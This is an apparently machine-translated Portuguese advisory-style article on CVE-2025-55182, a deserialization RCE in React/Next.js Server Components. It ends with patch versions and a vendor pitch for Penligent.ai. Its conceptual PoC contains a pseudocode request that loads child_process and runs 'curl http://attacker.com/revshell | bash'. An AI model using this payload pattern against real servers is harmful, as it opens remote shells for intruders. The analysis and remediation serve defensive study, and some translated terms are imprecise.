Introdução: O colapso do limite entre cliente e servidor
O final de 2025 marcou uma mudança de paradigma na segurança da Web. Para arquitetos de segurança e testadores de penetração, CVE-2025-55182 (e sua variante Next.js CVE-2025-66478) representa um dos vetores de ataque mais sofisticados da história recente.
Esse não é um simples erro de sanitização. Trata-se de uma falha fundamental na lógica do "Server-Side Rendering (RSC)". Ela permite que invasores não autenticados explorem o Vulnerabilidade de execução remota de código dos componentes do servidor React/Next.js manipulando o protocolo de comunicação proprietário usado pela estrutura, contornando as defesas tradicionais para executar código arbitrário no servidor.
Este artigo elimina os detalhes de marketing para fornecer uma análise de nível binário da vulnerabilidade para engenheiros de segurança de elite.
O mecanismo principal: Desconstruindo o protocolo de "voo"
Para explorar o CVE-2025-55182, é preciso entender como o React 19 e o Next.js 14+ se comunicam. Diferentemente do REST/GraphQL tradicional, o RSC usa um formato de texto de fluxo contínuo conhecido como Protocolo "Flight" (Voo).
A estrutura da carga útil de voo
Quando você inspeciona o tráfego de rede em um aplicativo Next.js moderno, o Carga útil do RSC parece enigmático, mas segue uma sintaxe rigorosa:
JavaScript
// Fragmento típico de protocolo de voo 1:I["./src/components/ClientComponent.js",["chunks/main.js"], "default"] 2:{"props":{"title":"Dashboard","user":"$Sreact.suspense"},"children":"$1"}
1:I: Denota um Importação. Ele informa ao cliente/servidor para carregar um módulo específico.$: Denota um Referência.$1refere-se ao módulo definido na linha 1.$S: Indica símbolos especiais do React.
Causa principal: Deserialização cega
O coração de CVE-2025-55182 está no tratamento pelo servidor das mensagens recebidas de cliente para servidor (ações do servidor). As DOM do servidor React confia implicitamente no fluxo de entrada do Flight.
Quando um cliente aciona uma Server Action, ele serializa os argumentos no formato Flight. O servidor recebe isso e chama métodos internos (como resolveServerReference) para desserializar o fluxo.
A falha fatal:
O desserializador não consegue validar se o caminho do módulo na instrução I (Import) está na lista de permissões. Isso permite que um invasor altere um caminho benigno, como ./src/button.js, para um módulo central interno do Node.js (por exemplo, child_process) ou qualquer outra biblioteca presente em node_modules.
Reprodução e análise de vulnerabilidade (PoC conceitual)
Isenção de responsabilidade: esta seção é apenas para fins de pesquisa educacional e defesa.
Uma cadeia de ataque sofisticada procede da seguinte forma:
Etapa 1: Reconhecimento
O invasor identifica os pontos de extremidade do RSC, geralmente observando solicitações para /_next/static/chunks/app/page.js ou analisando o Próxima ação em solicitações POST.
Etapa 2: armando a carga útil
O invasor cria um fluxo de voo personalizado. Em vez de adereços de UI legítimos, ele injeta um Cadeia de dispositivos.
Lógica de carga útil:
| Solicitação padrão | Solicitação maliciosa (carga útil RCE) |
|---|---|
Ref: 1:I["./component.js"] | Ref: 1:I["node:child_process"] |
Ação: Renderizar interface do usuário | Ação: Executar função exportada |
HTTP
`POST /v1/action HTTP/1.1 Content-Type: text/x-component Next-Action:
// Representação de pseudocódigo da injeção 1:I["node:child_process", [], "execSync"] 2:{"command": "curl http://attacker.com/revshell | bash", "args": "$1"}`
Etapa 3: Execução
- O servidor desserializa
I["node:child_process"]. - Ele executa
require("child_process")no contexto do servidor. - Ele invoca
execSynccom os argumentos do atacante. - RCE alcançado.
Por que as ferramentas de segurança tradicionais (WAF/DAST) falham
Para o engenheiro de segurança experiente, detectar isso é um pesadelo.
- Obscuridade do protocolo: Os WAFs veem as cargas de voo como texto não estruturado. As regras padrão de SQLi ou XSS regex não serão acionadas em uma string de importação de módulo como
1:I. - Exposição à inadimplência: Mesmo que um desenvolvedor use o Next.js apenas para geração estática, a inclusão da biblioteca RSC geralmente expõe os pontos de extremidade de desserialização vulneráveis por padrão.
Esse é um exemplo clássico de Vulnerabilidade da cadeia de suprimentos-A falha está na estrutura, não em sua lógica de negócios.
Defesa avançada e o papel da IA autêntica
Remediação imediata
A correção é obrigatória. Não confie em middleware de "sanitização", pois o protocolo é muito complexo para ser analisado de forma confiável com regex.
- Reagir: Atualizar para 19.2.1.
- Próximo.js: Atualizar para 14.2.21, 15.1.2ou a versão mais recente do Canary.
O futuro dos testes de penetração: IA agêntica
Enfrentar vulnerabilidades como CVE-2025-55182 que exploram a lógica do protocolo proprietário, os scanners tradicionais estão obsoletos. Eles não conseguem "entender" o Flight, nem construir fluxos logicamente válidos, mas mal-intencionados.
É aqui que Penligent.ai cria uma nova categoria de defesa. Como uma plataforma alimentada por IA agênticaA Penligent oferece recursos que as equipes humanas têm dificuldade de dimensionar:
- Compreensão semântica do protocolo: Os agentes de IA da Penligent analisam dinamicamente a especificação do React Flight. Eles entendem a sintaxe das referências de módulo em comparação com os adereços de dados.
- Fuzzing de lógica adaptativa: Os agentes geram milhares de cargas úteis alteradas, sondando especificamente as condições de limite do desserializador para encontrar padrões de acesso a módulos não autorizados.
- Verificação automatizada: O Penligent vai além de sinalizar um "problema em potencial". Ele tenta construir cadeias de prova de conceito seguras e não destrutivas para verificar se o RCE é realmente possível, eliminando falsos positivos.
Para empresas que protegem infraestruturas críticas, a implementação de Penligent.ai fornece recursos contínuos e inteligentes de red-teaming que evoluem mais rapidamente que os atacantes.
Conclusão
CVE-2025-55182 é mais do que um bug; é uma consequência da indefinição das linhas entre cliente e servidor no desenvolvimento moderno da Web. À medida que buscamos maior desempenho por meio do RSC, a superfície de ataque se expande para a camada de serialização de dados.
Para os engenheiros de segurança, dominar o protocolo de voo agora é um requisito. Audite suas dependências, faça correções imediatamente e considere a validação de segurança orientada por IA para ficar à frente.
Referências de autoridade:
